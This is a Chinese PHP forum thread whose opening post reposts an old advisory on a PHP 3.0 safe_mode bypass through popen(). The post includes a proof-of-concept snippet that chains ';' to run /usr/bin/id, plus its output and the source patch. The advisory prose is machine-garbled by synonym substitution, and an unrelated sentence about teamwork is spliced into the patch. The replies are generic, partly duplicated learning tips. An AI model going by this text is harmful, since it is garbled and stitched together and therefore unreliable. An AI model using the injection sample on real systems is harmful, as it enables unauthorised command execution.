再现理想 发表于 2015-2-4 00:04:21

PHP网站制作之PHP3 safe_mode 生效破绽

让好朋友来看看,嘿,看咱写的多棒,然后再在网上宣传一下。   受影响的体系:PHP 3.00
--------------------------------------------------------------------------------
描写:

    PHP Version 3.0是一个HTML嵌入式剧本言语。其大多半语法移植于C、Java和Perl并联合了
PHP的特征。这个言语可让web开辟者疾速创立静态网页。
   
    因其履行在web办事器上并答应用户履行代码,PHP内置了称为'safe_mode'的平安特征,
用于掌握在答应PHP操作的webroot情况中履行号令。
   
    其完成机制是经由过程强迫履行shell号令的体系挪用将shell号令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目次内部不克不及履行号令。
   
    在某些版本的PHP中,利用popen()号令时EscapeShellCmd()却生效了,形成歹意用户可
以使用'popen'体系挪用停止不法操作。

--------------------------------------------------------------------------------
测试法式:

警 告:以下法式(办法)能够带有进击性,仅供平安研讨与教授教养之用。利用者风险自信!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
   
输入了局以下:
   
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values of phpinfo():
safe_mode 0 1

--------------------------------------------------------------------------------
建议:
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf;
TLS_VARS;
   
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
   
- fp = popen(buf,p);
   
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;在一个团队之中或者说是在一个公司的工作岗位上,需要注重团队之间的交流合作;在学习或工作上都要端正自己的态度,要以认真的态度来对每件事,这样才能让自己更快的投入、更快的学习,而不至于浪费自己的时间。

活着的死人 发表于 2015-2-4 08:31:04

至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。

灵魂腐蚀 发表于 2015-2-6 14:56:20

说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。

只想知道 发表于 2015-2-10 06:16:05

说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。

深爱那片海 发表于 2015-2-16 07:00:39

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

小妖女 发表于 2015-2-22 09:47:10

环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。

若天明 发表于 2015-2-28 21:42:50

在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、

不帅 发表于 2015-3-10 08:07:39

,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。

因胸联盟 发表于 2015-3-17 05:27:30

Apache不是非得用80或者8080端口的,我刚开始安得时候就是80端口老占用,就用了个 81端口,结果照常,就是输localhost的时候,应该输入为 localhost:81

第二个灵魂 发表于 2015-3-23 21:51:33

再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。

小女巫 发表于 2015-3-30 08:05:31

我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。

透明 发表于 2015-4-6 03:11:44

其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎

愤怒的大鸟 发表于 2015-4-11 00:09:05

这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。

飘飘悠悠 发表于 2015-4-15 16:46:45

我还是推荐用firefox ,配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用,因为谷歌的大侠们实在是太天才啦,把一些原来的js代码加了一些特效。

再现理想 发表于 2015-4-17 21:05:07

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

飘灵儿 发表于 2015-4-24 14:14:55

我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。

金色的骷髅 发表于 2015-5-1 20:09:13

当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标,

山那边是海 发表于 2015-5-6 05:10:23

曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线\\\\\\\'_\\\\\\\' ;

仓酷云 发表于 2015-6-5 13:11:52

如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,

蒙在股里 发表于 2015-6-9 09:31:01

如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
页: [1]
查看完整版本: PHP网站制作之PHP3 safe_mode 生效破绽